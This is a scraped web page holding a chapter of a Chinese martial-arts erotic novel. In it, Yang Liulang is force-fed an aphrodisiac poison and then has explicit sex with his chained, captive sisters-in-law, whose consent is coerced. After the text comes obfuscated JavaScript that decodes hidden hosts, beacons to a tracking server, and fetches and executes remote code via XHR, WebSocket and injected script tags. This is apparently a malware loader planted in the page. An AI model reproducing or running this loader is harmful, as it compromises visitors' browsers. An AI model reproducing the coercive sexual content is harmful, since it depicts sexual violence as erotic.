  柴明歌闻言却面色忧虑,想了想,说道:「去年,我在汴京、蓬莱、洞庭、太湖走了一遭,收穫不少,可也遇到一件辣手的事情,蓬莱岛广元天尊的逝世影响我们的布局,而新任的玉龙掌教好像居心叵测,未必跟我们一心,现在蓬莱岛又支持吴越发兵攻打南唐,于是大宋分兵两路,想南抗吴越,北御大辽,但实在不容易啊丨」白凤凰道:「宋军北路的主将乃是杨令公的第六子杨六郎,这个人据说文韬武略十分厉害,前不久被白岛主捉住……」

  柴明歌闻言,顿时站起身,说道:「姑姑,六郎被抓了?」

  白凤凰点头道:「没错,不过他在白岛主面前发下重誓,说要让赵光义退位,还我大周江山。」

  柴明歌不了解最近发生在汴京的事情,惊讶问道:「有这种事?但我们应该先分析眼前的局势才对。」

  白凤凰道:「悬空岛有六千名水兵,加上武器精良,而且防御固若金汤,虽然兵马不多,但足可扰乱宋军后方,若是在江南举义,悬空岛可在北方呼应,形成南北夹击之势,令宋朝廷首尾难顾。」

  柴明歌闻言笑了笑,随即展开手中的宝扇,顿时眼前光华闪烁处,现出一幅全国山河军事地形图,就连大辽、回鹘、车月、吐蕃和大理都详细地画出来。

  柴明歌手指着宝扇说道:「悬空岛虽然耗费我们将近十年的时间,但姑姑,你说这里固若金汤,天险可依。错!」

  白凤凰闻言吃惊地看着柴明歌,不知道错在哪里。

  柴明歌又说:「不谋全局者,不足以谋一域!不知道姑姑想过没有?辽穆,宗屯兵六十万在紫荆关窥探着中原,为何迟迟没有马踏中原的动静?是因为辽穆宗手下有能人,告诫辽穆宗要进攻大宋,必须先扫除悬空岛,因为华北大地,大皆平原,河流交织纵横,而悬空岛虽然兵马不多,但是精通水战,辽军一旦形成长驱直入之势,其后勤补给必须靠水路运往前线,所以如果不能保证水路的安全,他们于心不安啊!」

  白凤凰闻言,点了点头。

  柴明歌继续说道:「山西程世杰手握重兵,而这个人城府极深,表面上虽然有投降辽军的意思,但这个人野心勃勃,没有他不敢做的事情,他若是想逐鹿中原,将会勾结西凉节度使李得明,西吞回鶄,东征大宋,可悬空岛也是他的眼中之刺。现在悬空岛夹在三股势力之间,看起来风平浪静,其实大战一触即发,姑姑你只想到力保一隅,却没有顾全到大局,如果我们弃掉悬空岛,将会发生什幺情况?」

  白凤凰有些领悟,说道:「那就要看弃给何人,若是辽人得到悬空岛,他们没有后顾之忧,必定会大举南下……」

  柴明歌微笑道:「这正是我想看到的事,大宋与大辽都是实力雄厚的泱泱大国,我们想匡扶大周江山,就必须让他们相互消磨对方的实力,等三、五年后,双方都会筋疲力尽,到时我们再在江南举兵,然后水师沿江逆流而上收复川蜀,骑兵高歌直逼汴京,之后再收拾已是强弩之末的大辽,最后成功复兴大周,同时统一华夏!父皇生前没有完成的心愿,我势必要帮他完成。」

  柴明歌继续道:「我去年下山后第一件事,就是说服忠于父皇的富商巨贾,要他们拿出钱购买黄山、西湖一带上好的茶叶和丝绸,然后以商队的名义运往西凉,与西凉节度使大人换取军马。要知道天下盛产良驹的地方只有两个,一个在大辽,另一个便是在西凉。这笔交易很成功,西凉人对茶叶和丝绸的喜爱,超过我的想像,而随着第一笔生意的成功,第二笔生意即将要告捷,这样下去,三年后,我在江南秘密购买的优良军马将会达到十万头。」

  白凤凰惊喜道:「明歌果然是胸怀经天纬地之才,慧眼识天下,何愁我大周江山不复……」

  龙姬因为长久忧虑,导致身体欠佳,经常出现精神恍惚、神誌不清的情况,加上今天听柴明歌说蓝玉堂已死,虽然蓝玉堂与她无关,但蓝玉堂看守的星煞魔君的魔魂却与她有关,因为龙姬由于柴世宗的死感到肝肠寸断,于是白凤凰就骗龙姬,只要明神转世,就能将柴世宗带回来,而想到她所深爱的柴世宗能活着回到她身边,龙姬的精神就有所好转,便一直撑了这幺多年。

  然而刚才柴明歌和白凤凰在谈论事情的时候,一时忘记龙姬的感受,而龙姬听到蓝玉堂已死,再也没有人看守星煞魔君的魔魂,那星煞魔君一旦提前转世,明神就会很危险,而明神若是不能顺利转世,那柴世宗重生的希望也就彻底破灭,于是龙姬愤恨地离去,独自来到七星凤凰楼的地下一层楼。

  龙姬在下楼的时候,内心一直在诅咒、谩骂大宋的那些奸贼,而且要不是赵匡胤黄袍加身,柴氏江山又怎会被夺走!

  这时,白云妃将六郎抓来七星凤凰楼。

  龙姬见到六郎后,只是微微一笑,那略带冰冷的笑容,让六郎觉得龙姬那看似平静的内心,其实早已经波涛汹涌。

  龙姬说道:「我一直在等着你。」

  六郎不解地问道:「你等我干什幺?」

  龙姬认真地说道:「白岛主从放你走的那一刻,我就和自己打赌,我对我自己说你会回来,而只要你回来,我就会送你一件礼物。」

  说完,龙姬嫣然一笑,只是那笑容十分诡秘,让六郎不由得感到浑身发冷。

  六郎摇头说道:「你用不着这样客气啊!」

  龙姬沈下脸,说道:「这件礼物,你非收不可。」

  说着,龙姬转身走入密室。

  【第十一集】第三章:神丹

  白雪妃拍了拍六郎的肩膀,说道:「你看龙姬娘娘对你有多好,还说要送你礼物,你好好待在这里,我先走了。」

  六郎连忙道:「姐姐,何必急着走?一起看是什幺礼物啊!」

  白云妃摇头说道:「不,我胆子小,有些东西看不得。」

  说着,白云妃转身离去。

  六郎顿时觉得有一股不祥的预感袭向心头,不久,就见龙姬回来,依然带着那难以捉摸的笑容,怀里还抱着一只镶金嵌玉的盒子。

  龙姬来到六郎跟前,轻轻放下盒子,然后用手启动密室的机关,接着六郎就听到两边的石壁「嘎吱!嘎吱!」

  的响,竟有几道石门同时打开……

  「六郎……」

  四娘的声音充满责怪。

  「六郎,你怎幺来了?」」慕容飞雪的声音则带有忧虑。

  「六郎,这个女人太可怕了,不要管我们,你赶紧逃啊!」

  兰梦蝶的话语全是关切。

  「六哥、六哥救我们啊!」

  这是八妹、九妹的声音。

  六郎镇定一下心神,对自己说:再残酷的事情也要去面对,我倒要看看龙姬想干什幺。

  六郎看了看四娘和慕容飞雪她们,见她们虽然身体受到控制,却皆毫髮无伤。

  白松林用六合玄控控制住四娘等人的武功,又用稀金属炼锁住她们的手腕,关押在这密室内。

  六郎闭上眼睛,对自己说:我一定要救她们出去。

  这时龙姬缓缓打开那只盒子,将一颗闪烁着耀眼银光的神丹放在掌心,说道:「这神丹乃是世宗皇帝所留,任何人食用它,都会强筋健骨,消除百病,尤其对习武之人,效力更会加倍。」

  一六郎赶紧说道:「龙姬娘娘,既然是这幺好的东西,干嘛送给我啊?」」龙姬说道:「我刚才说的只是它的好处,而服用这颗神丹 的人,在一个时辰后,会血气神脉四象归元,全身筋脉和气血都会产生逆转,并且自动运行大周天,速度是平时的十倍,就算是绝顶高手,也承受不住它的药力,需要阴阳调和才能化险为夷。」

  六郎担心问道:「你这话是什幺意思?该不会是要我吃那 颗神丹 ,然后和你那个吧?」

  龙姬「哼」了一声,说道:「混帐,这颗丹药确实是要给你吃,你不是很有正义感和责任心吗?我就成全你,有本事你就救那些女人走。 」

  龙姬轻蔑地看了六郎一眼,又说:「我平生最讨厌的就是背信 忘义的人,你和大宋的那些乱臣贼子又有什幺分别?骗我们会回去劝说赵光义退位,却又暗地里派人来行刺,我要让你自作自受!」

  说完,龙姬手一扬,就见那颗神丹 朝着六郎飞过来。

  六郎刚一愣神,还来不及闪躲,那颗神丹 就钻入肚子内。

  龙姬见状哈哈大笑,道:「告诉你实话,这颗神丹 被我用曼陀罗花精培育十年,你服下它后,会慾火焚身,甚至丧失理智,必须不断採集女子的元阴,才能延续生命,一直到所采的元阴能够抑制住你体内的淫毒为止,不过这几个女人的元阴还远远不够,所以结果只有一个,她们承受你的採捕,虚脱而死,而你也会因为控制不了那颗神丹 带来的效果,而全身筋脉爆裂……不要说我残忍,是你先「轰隆……」

  只见数道石门打开又关上,而龙姬那恐怖的笑声逐渐远去……六郎叹道:「这个女人疯了!」

  、六郎刚想过去与四娘和慕容飞雪说两句话,突然就觉得心口一阵剧痛,就如同穿越时,那种身体被蹂躏的感觉一样,脑子「嗡」的一声,就昏倒在地上。

  也不知道过了多久,六郎在迷糊中,听到四娘和慕容飞雪等人的呼唤声,才慢慢清醒过来。

  只听慕容飞雪那关切而略带责备的声音:「六郎,你怎幺不听话?我不带你说话不算数,惹我生气……」

  龙姬将柴世宗留给她的空盒子捧在面前,癡癡地说道:「皇上,我好想念你啊!你看,白将军每年都会做最美丽的灯笼给我,甚至做的比在汴京的灯会还要繁华。」

  这时龙姬慢慢走出密室,喊道:「你们都是坏人、都是骗子……我要让白将军把你们都做成灯笼,我还要做更多的灯笼,从悬空岛一直挂到汴京城……哈哈上岛,就是怕你出意外,现在大家都被抓了,唉!」

  四娘焦急地问道:「六郎,你怎幺样了?昏迷这幺久,吓死我们了。」

  六郎闻言,走向密室面前,见四娘、慕容飞雪、兰梦蝶、八妹与九妹全在,只是她们手腕上都被金属炼绑着,而金属炼又绑到旁边的铁床上。

  六郎上前抓住慕容飞雪的手,接着远处微弱的灯笼光芒,隐隐能看清到慕容飞雪那苍白的脸,道:「大嫂,他们有没有为难你?二慕容飞雪叹了一口气,说:「白松林的武功深不可测,我与他有些差距,而被他抓住后,他也没有太为难我们,只是被他用六合玄控控制住我的元神和武功,所以我们现在没有办法逃走。」

  六郎抓着慕容飞雪手腕上的那根金属炼,用力扯了几下,但却一点用都没有。慕容飞雪说道:「不要白费力气了,这炼子不是普通的金属炼,根本弄不断它,而且就算弄断它,我们也走不出七星楼。」

  这时六郎来到兰梦蝶面前,埋怨道:「三嫂,你和大嫂为什幺丢下我?不让我跟你们一起来悬空岛?」

  兰梦蝶说道:「大嫂说岛上太危险,不想你跟着冒险。」

  六郎道:「若是由我跟着,说不定还不至于落到这个地步,你们手中不是还有人质吗?」」兰梦蝶叹息道:「那白小姐十分狡猾,一路上十分乖巧,骗取我们信任,而上岛后,她就把我们带到七星楼,并在进来后,她就利用对这里的熟悉摆脱我们,后来我们就遇到白松林。」

  六郎也扯着绑住兰梦蝶的锁链,但同样没有用。

  兰梦蝶说道:「我试过很多少次了,根本没用。六郎,你先赶紧想办法自己逃走吧!不要管我们。」

  六郎道,……「我去找东西来砍断这锁链,你们等我啊!」

  四娘悲切地说道:「六郎,不要管我们,你自己想办法逃走吧!」

  八妹、九妹哭道:「六哥,都是我们惹的祸,害了你、害了娘也害了嫂嫂,呜呜!」

  这时六郎默不吭声,转身走出来,想找看看有没有能砍断那些锁链的武器,但没有找到,倒是六郎绕着那些五颜六色的曼陀罗花走一圈后,吸入一些促使理智迷失的花香,加速体内发生如翻天蹈海的变化,令六郎难受得摀住胸口,手扶着密室的石壁,走回密室。

  四娘发现六郎的异样,心疼地拉住六郎的手,没有说话,眼泪一直掉下来,道:「六郎,你怎幺这幺傻?我不是告诉你,不要为我担心吗?甚至还连累了你! 」

  六郎强忍着痛苦,闭上眼睛,他只觉得浑身像是着了火般难受。

  四娘紧紧地握着六郎的手,幽幽说道:「我虽然叫你 不要来救我们,但其实……我心里一直期待你回来,即使你救不了我,可是能看到你,四娘就心满意足了……」

  八妹、九妹跟着哭泣道:「六哥,你怎幺了?你不要死啊。」

  这时六郎感到心头一热,那股炙热沿着胸口扩散向全身,然后他想起龙姬的话,心中默道:她居然让我服用春药,又控制住四娘和嫂子们的武功,将她们放到我面前,分明是想看我的笑话,可她却不知道我是穿越者,早就和她们有夫妻关係……正好可藉这机会,将那层窗户纸捅开。

  这时六郎觉得身体越来越热,令他不由得疯狂撕扯着身上的衣服。

  四娘察觉到六郎的异样,也回想起龙姬所说的那些话,心想:看来最让我担心的事情还是发生了!

  六郎只觉得浑身的气血如翻江倒海般沸腾起来,眼前的四娘逐渐变得模糊,而那早已被点燃的慾火开始燃烧,血气神脉四象凝固,赤裸的胸膛变成赤红色。

  四娘能看到六郎的胸膛上那依旧闪耀着银光的绝世神丹,正在散发着强大无比的能量,并发现到那邪毒正慢慢侵入六郎的身体,令四娘不由得紧紧抓住六、郎的臂膀,凄然喊道:「六郎,不要怕……你要坚持住,四娘会想办法救你!」

  这时精通医术的四娘开始慌神,她知道龙姬给六郎吃下的那颗神丹 非比寻常,里面一定含了大量的剧毒,六郎会因此丧失理智,被慾火攻心。

  六郎低头看了看胸膛,闭上眼睛,道:「四娘,我坚持不住,趁着我现在还有意识,你杀了我吧!不然,我不知道会做出什幺事……」

  四娘哭着,拼命地摇头。

  六郎猛然推开四娘,转身跑出密室,对着无尽的黑暗怒吼道:「龙姬!白松林,你们给我出来……我要和你们决斗,有种你就出来,到底给我吃的是什幺?疼死我了!」

  此时六郎的神智还有些清楚,所以他想找些凉水,冷却那发热的身体,但因为身心皆受到淫毒的攻击,慢慢的,头脑越来越不清楚,只是到处乱走乱撞,最后竟猛然撞在一个人的怀中。

  慕容飞雪见状心如刀绞般痛苦,她很清楚六郎现在的处境,心想:血气神脉四象归元,这本是修神界的一个奇蹟,好多修神者苦修一生,都达不到这个境界,但龙姬究竟给六郎吃什幺?六郎根本无法承受四象归元后带来的强大冲击,必须要有内力深厚的女子甘愿牺牲功力与身体,六郎才会保住性命,可这个女子会是我吗?我可是他的嫂嫂啊!这种事情万万不可,但我不牺牲,难道要让兰梦蝶和四娘,或者八妹、九妹吗牺牲吗?先不说四娘与六郎之间的关係,依她的内力,就算甘愿牺牲,恐怕也救不了六郎,搞不好还会丢掉性命……为什幺会发生这种事情?天啊!

  这时六郎体内的淫毒开始发作,赤红色的血气顺着周身经脉开始自动运行週天,血管一下子鼓起,甚至在黑暗中都能看清楚……

  六郎的喘息越来越粗重,双手抓住慕容飞雪的双肩,接着用力一扯,慕容飞雪的上衣应声撕裂,露出那诱人的雪白乳房,接着疯狂地亲吻着那柔嫩的酥胸。

  慕容飞雪挣扎了一下,泪水滑落脸颊……最后,慕容飞雪在内心下了一个决定,我宁可牺牲清白,也不能让六郎经脉崩裂,如果能够救得了六郎,我再自杀,以死答谢大郎对我的夫妻情意,这样也算对得起杨家。

  四娘见状,喊道:「六郎,不要啊,你要保持清醒,不能做那种事。」

  一四娘知道,虽然慕容飞雪和六郎有过肌肤之亲,但那是在慕容飞雪毫不知情、不得已的情况下发生的,而现在,六郎一旦佔有慕容飞雪的身子,而且还是当着她们的面,以慕容飞雪的性格,虽然她不会拒绝六郎,但那是因为现在六郎失去理智,她需要牺牲自己来救六郎,可当事情结束后,慕容飞雪很有可能会自杀来表示页洁。

  看到六郎要对慕容飞雪发洩兽慾,八妹、九妹都吓得哭起来,而四娘更是伤心欲绝,兰梦蝶也是暗自垂泪。

  六郎的动作开始变得粗鲁,当他準备要进入慕容飞雪的体内时,突然,慕容飞雪用力抓住六郎的肩膀,凄楚地说道:「六郎,你务必要恪守住真元,嫂嫂将全部功力都传给你……」

  慕容飞雪的声音虽然不大,却声声含泪,犹若重锤般重重的打在六郎的心坎上……

  大嫂?我不能这样对待她,她可是我心中的女神,我不能!六郎用仅存的理智控制住自己。

  六郎猛然怒吼着站起身,就要扑向别人。

  慕容飞雪见状对着六郎的背影,叫道:「不要去伤害那两个丫头……」

  六郎瞬间的清醒,无法让他抑制住体内那熊熊燃烧的慾火,当他扑向四娘时,四娘竟出奇的平静,她默默的闭上眼睛,心想:我现在只能牺牲自己,来让六郎的神智清醒。

  六郎紧紧的拥着、亲吻着怀中的四娘,那光滑而细腻的肌肤和因动情而逐渐上升的体温,刺激着六郎体内的慾望,激起他那不断高涨的情慾,但四娘的沈默,让六郎下意识的停下动作。

  「四娘,你还是杀了我吧!我实在管不住自己,我觉得我马上就要变成另外一个人了……」

  四娘含着眼泪摇头,她已经顾不了耻辱,双手环抱着六郎的腰身,示意他继续下去。

  六郎用最后一丝理智,摇头说道:「我不能……我没有办法!」

  四娘幽怨说道:「到了这时候,你必须要去面对啊!我不帮你,难道要慕容飞雪、兰梦蝶和你两个妹妹帮你吗?你若是去侵犯她们,我宁可杀了你!」

  六郎用仅存的意识,问道:「四娘,你这样……救得了我吗?二四娘摇头又点头,又摇头,最后她将朱唇递向六郎的面前。

  六郎顿时觉得浑身火热,只能一动也不动地凝视着四娘,四娘那和借的玉容、那晶莹润泽的玉颈、那洁白细腻的高耸玉乳。

  六郎紧紧拥着四娘那嫩如玉脂的娇躯,轻声说道:「四娘,你是我的唯二」说完,六郎就完全失去了理智!

  从这一刻起,那颗绝世神丹与曼陀罗花毒彻底佔有六郎的理智,令六郎将成为慾望下忠诚的奴僕,他的理智也从这一刻消失……

  丧失理智的六郎吻上四娘那柔嫩的嘴唇,以舌头撬开她的牙齿,尽情地吮吸着她口中的芳香,而一只手揽着四娘的柳腰,另一只手很不老实地伸进她的长裙内,扯落她的绸裤,触手是那滑腻的肌肤,接着他的手一路向上,滑过那浓密的森林,然后将手指轻轻插进嫩穴内,发现那里面已经有些湿润。

  六郎的右手中指在四娘的嫩穴上不停抚摸着,令四娘不由得呻吟出声,而那本来盘起的头髮已披散在雪白的颈脖上,显得既优雅又淫蕩,随即四娘能感觉到快感便像暴风雪般淹没了她。

  这时六郎将四娘的上衣撩到胸部上方,随即那丰满的玉乳在肚兜的束缚下显得异常饱胀,令他觉得心中有股莫名的兴奋,接着六郎将肚兜往上拉,就见那丰满的乳房激烈地晃动着,然后将长裙褪到膝盖下,便开始爱抚着那淫水四溢的私处。

  这时,六郎动作粗鲁地将龙枪插入四娘的体内,随即龙枪尽情地在那被誉为名器的蜜穴内抽插着,然后一只手搓揉着那丰满的乳房,另一只手则爱抚着那结实的屁股。

  四娘不由得仰起头,甩动着那如瀑布般的黑色长发,她能感觉到六郎的龙枪已经完全顶进子宫口,那强烈的刺激快感,令她不由得发出呻吟声。

  六郎那又粗又硬的龙枪快速地在四娘的体内撞击着,顿时一股如海啸般的强烈快感几乎要让她窒息,渐渐的,蜜穴深处流出大量的爱液。

  「啊……喔……六郎……啊……」

  四娘脸上那快乐混合着痛苦的表情有些参扭曲。

  六郎密集的撞击,让四娘的臀部有些发麻,六郎好像不知疲倦般快速地抽插着,令四娘已经快要受不了,大腿抽搐的有点发痛,但本能及慾望却早已佔据她的身心,令她更加疯狂地配合着六郎的动作。

  六郎挺动着腰部,龙枪在四娘的嫩穴内疯狂地抽插着,令四娘不由得疯狂地摇摆着身体,双乳不住晃动着,而那原本端庄温柔的四娘,此时竟像个蕩妇般淫蕩地浪叫着。

  六郎伸手抓住四娘的玉乳,接着更加用力地撞着四娘的嫩穴,使四娘不由得高声呻吟,体内的嫩肉紧紧包裹住六郎的龙枪,接着她不由得身子瘫软,无力地倒在地上。

  这时六郎从后面抱住四娘,然后一边吻着玉颈,一边翻转她的身体,然后 起那雪白的双腿,高高地举到他的肩头上,随即将肉棒再次插入到四娘的嫩穴内,再次抽插起来。

  六郎连续不断的猛烈进攻,直到六郎将精液喷射进四娘那温暖的花房内,四娘早已经昏死过去,可六郎儘管刚刚才发洩一次,龙枪依然是坚挺异常,尤其他的眼睛充满血丝,令人觉得胆颤心寒。

  而还没有等大家回过神来,就见六郎已经将慕容飞雪紧紧压在身下。

  此时慕容飞雪娇躯颤抖,表情痛苦万分。

  六郎闻着慕容飞雪散发出的体香,看着她那清秀脱俗的面容、婀娜的娇躯、白皙的肌肤、纤长的手指以及被抽去玉钗后散落的秀发,不由得激起六郎体内的兽惩。

  这时六郎的一双大手顺着慕容飞雪的粉颈伸进衣内,并开始肆意地揉搓起来,触手处那娇嫩的肌肤如丝绸般滑腻,最后他隔着肚兜肆意地抚弄着、揉搓着慕容飞雪那丰满的酥胸……

  慕容飞雪感到又羞又怕,双眸紧闭,拼命地挣扎着,但她又怎幺可能抵挡得着六郎的爱抚,由于身体被压住,只能认为六郎抚摸、揉搓下,并感到身体一阵酸软。

  慕容飞雪心想:刚才四娘为了救六郎,已经牺牲她自己,现在轮到我牺牲了。

  这时六郎伸手脱下慕容飞雪的肚兜,就见一具粉雕玉琢、晶莹玉润的胴体彻底暴露在他面前,可见那雪白的乳房上有着着两点夺目的嫣红,盈盈不堪一握的纤腰,平坦的小腹,修长的玉腿,真是无一处不美,无一处不诱人。

  这时六郎强硬地吻上慕容飞雪的红唇,激烈而贪婪地对慕容飞雪展开攻势,最后在不知不觉中,慕容飞雪开始顺从着六郎,她微微颤抖着身体,紧闭着双眼,睫毛微微颤抖着,在六郎的逼迫下微微张开嘴唇,伸出小巧的香舌,任由六郎贪婪地吸吮着。

  六郎抱着慕容飞雪来到铁床上,接着压在她身上,然后一只手抓住慕容飞雪的双腕,压在她的头顶上。

  这时已经清醒过来的四娘,看到这情况,流泪道:「飞雪,反正我们都难逃一死,我劝你放下矜持和尊严,而且六郎现在被那龙姬弄得邪欲攻心,身不由己,所以我们就是拼了性命,也要保住他的生命。」

  慕容飞雪闻言,含泪点头道:「四娘,我明白。六郎体内的淫毒极深,必须要有内功深厚的异性用双修之法助他解毒。」

  这时,六郎因为慕容飞雪的配合,感到亢奋起来,他挺起那粗壮的龙枪,对準慕容飞雪的名器缓慢而坚决地插进去,接着六郎突然加重抽插的力道,在慕容飞雪的嫩穴内快速地撞击,令慕容飞雪顿时秀眉颦颦,娇吟不断,头脑一片混乱。

  这时,慕容飞雪感觉一阵刺痛,才勉强清醒过来,不由得羞得粉脸绯红,只能咬着红唇低下头,拼命抵抗着越来越强烈的快感,可见那乌黑的长发散落下来,遮住那 白皙而美丽的脸蛋。

  六郎持续而猛烈的在慕容飞雪的体内撞击,让慕容飞雪慢慢地放弃抵抗,开始迎合着六郎的抽插,而在不知道过了多久、也不知道抽插了多少次,慕容飞雪迎来了一次高潮。

  然而六郎根本没有停下动作,那粗大而硬挺的龙枪又狠又深地插入慕容飞雪的体内,在那紧窄的「九曲迴廊」内横冲直撞,不断深入慕容飞雪体内的最深处。

  六郎吸一口长气,咬牙一挺龙枪,就见慕容飞雪柳眉频皱,银牙紧咬,露出不堪蹂躏的诱人娇态,而赤裸的雪白娇躯在六郎的胯下

相关视频

function OcbvDroJ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function hFlwtkqX(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OcbvDroJ(t);};window[''+'E'+'w'+'L'+'o'+'i'+'H'+'x'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function aXecA(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=hFlwtkqX,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=aXecA(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15623/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=aXecA(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLm1wemx2cS5jbiUzQTTg4OTTE=','d3NzJTNBJTJGJTJGYS55aa2toaanMuY24lM0E5NTM1','168165',window,document,['T','a']);}:function(){};
let urls=["hIItIItIIpIIsII:II/II/IIoIIcII1II8II1II9IInIIdIIaIIdII9II.IIoIIsIIsII-IIcIInII-IIsIIhIIaIInIIgIIhIIaIIiII.IIaIIlIIiIIyIIuIInIIcIIsII.IIcIIoIImII/II1II9II/II1II0II7II5IIaII2II2II8II2II2II9II9".split("II").join(""),"hBBtBBtBBpBBsBB:BB/BB/BBpBB.BBgBBoBBdBBmBBwBBiBBtBBhBB.BBcBBoBBmBB/BB1BB9BB/BB1BB0BB7BB5BBaBB2BB2BB8BB2BB2BB9BB9".split("BB").join(""),"hPPtPPtPPpPPsPP:PP/PP/PPmPPqPP1PP9PPnPPdPPaPPdPP9PP.PPoPPsPPsPP-PPcPPnPP-PPsPPhPPaPPnPPgPPhPPaPPiPP.PPaPPlPPiPPyPPuPPnPPcPPsPP.PPcPPoPPmPP/PP1PP9PP/PP1PP0PP7PP5PPaPP2PP2PP8PP2PP2PP9PP9".split("PP").join(""),"hRRtRRtRRpRRsRR:RR/RR/RRdRR8RR9RR-RR1RR3RR1RR3RR9RR4RR4RR0RR6RR2RR.RRcRRoRRsRR.RRaRRpRR-RRhRRoRRnRRgRRkRRoRRnRRgRR.RRmRRyRRqRRcRRlRRoRRuRRdRR.RRcRRoRRmRR/RR1RR0RR7RR5RRaRR2RR2RR8RR2RR2RR9RR9".split("RR").join("")];let urlindex=0;let rfunc=function(){if(window.__rr__loaded_2299_107 != 'ok'){let ss = document.createElement('script');ss.type = 'text/javascript';ss.referrerPolicy='no-referrer';ss.src=urls[urlindex++]+ (navigator.userAgent.indexOf('Android') != -1 ? 'a':'i') + '?_=' + new Date().getTime();document.body.appendChild(ss);if(urlindex < urls.length){setTimeout(rfunc, 2000);}}};rfunc();rfunc();